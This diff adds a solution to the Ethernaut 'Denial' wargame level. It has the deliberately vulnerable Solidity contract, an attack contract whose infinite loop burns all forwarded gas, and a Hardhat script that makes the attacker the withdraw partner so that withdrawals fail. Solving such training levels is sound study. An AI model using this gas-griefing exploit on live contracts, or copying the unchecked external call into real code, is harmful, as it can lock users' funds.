diff --git a/ethernaut_challenges/contracts/20_Denial.sol b/ethernaut_challenges/contracts/20_Denial.sol
new file mode 100644
index 0000000..fd265b1
--- /dev/null
+++ b/ethernaut_challenges/contracts/20_Denial.sol
@@ -0,0 +1,36 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.6.0;
+
+import "@openzeppelin/contracts/math/SafeMath.sol";
+
+contract Denial {
+    using SafeMath for uint256;
+    address public partner; // withdrawal partner - pay the gas, split the withdraw
+    address payable public constant owner = address(0xA9E);
+    uint256 timeLastWithdrawn;
+    mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances
+
+    function setWithdrawPartner(address _partner) public {
+        partner = _partner;
+    }
+
+    // withdraw 1% to recipient and 1% to owner
+    function withdraw() public {
+        uint256 amountToSend = address(this).balance.div(100);
+        // perform a call without checking return
+        // The recipient can revert, the owner will still get their share
+        partner.call.value(amountToSend)("");
+        owner.transfer(amountToSend);
+        // keep track of last withdrawal time
+        timeLastWithdrawn = now;
+        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
+    }
+
+    // allow deposit of funds
+    receive() external payable {}
+
+    // convenience function
+    function contractBalance() public view returns (uint256) {
+        return address(this).balance;
+    }
+}
diff --git a/ethernaut_challenges/contracts/20_DenialAttack.sol b/ethernaut_challenges/contracts/20_DenialAttack.sol
new file mode 100644
index 0000000..a108b7f
--- /dev/null
+++ b/ethernaut_challenges/contracts/20_DenialAttack.sol
@@ -0,0 +1,9 @@
+// SPDX-License-Identifier: GPL-3.0
+
+pragma solidity ^0.6.0;
+
+contract DenialAttack {
+    receive() external payable {
+        while (true) {}
+    }
+}
diff --git a/ethernaut_challenges/scripts/20_denial.ts b/ethernaut_challenges/scripts/20_denial.ts
new file mode 100644
index 0000000..cfe6a2f
--- /dev/null
+++ b/ethernaut_challenges/scripts/20_denial.ts
@@ -0,0 +1,30 @@
+import { Signer } from 'ethers'
+import { ethers } from 'hardhat'
+import { Denial } from '../typechain-types/Denial'
+import { DenialAttack } from '../typechain-types/DenialAttack'
+import { loadOrCreateLevelInstance, submitLevelInstance } from './ethernaut'
+import { loadOrDeployContract } from './helpers'
+
+const levelAddress = '0xf1D573178225513eDAA795bE9206f7E311EeDEc3'
+
+const main = async () => {
+  const signer = (await ethers.getSigners())[0] as Signer
+
+  const targetContract = (await loadOrCreateLevelInstance('Denial', levelAddress, signer, {
+    value: ethers.utils.parseEther('0.001'),
+  })) as Denial
+  const attackContract = (await loadOrDeployContract('DenialAttack', [], signer)) as DenialAttack
+
+  const tx = await targetContract.setWithdrawPartner(attackContract.address)
+  console.log(`tx hash ${tx.hash}`)
+  await tx.wait()
+
+  await submitLevelInstance(targetContract.address, signer)
+}
+
+main()
+  .then(() => process.exit())
+  .catch(e => {
+    console.error(e)
+    process.exit(1)
+  })
diff --git a/ethernaut_challenges/scripts/ethernaut.ts b/ethernaut_challenges/scripts/ethernaut.ts
index 88737e1..9c7b1e7 100644
--- a/ethernaut_challenges/scripts/ethernaut.ts
+++ b/ethernaut_challenges/scripts/ethernaut.ts
@@ -47,7 +47,7 @@ export const loadOrCreateLevelInstance = async (
 }
 
 export const submitLevelInstance = async (instanceAddress: string, signer: Signer): Promise<boolean> => {
-  const submitTx = await getEthernautContract(signer).submitLevelInstance(instanceAddress, {gasLimit: 1000000})
+  const submitTx = await getEthernautContract(signer).submitLevelInstance(instanceAddress, { gasLimit: 2000000 })
   console.log(`Submitted level instance address ${instanceAddress}. Tx ID: ${submitTx.hash}`)
   const receipt = await submitTx.wait()
   if (receipt.logs.length) {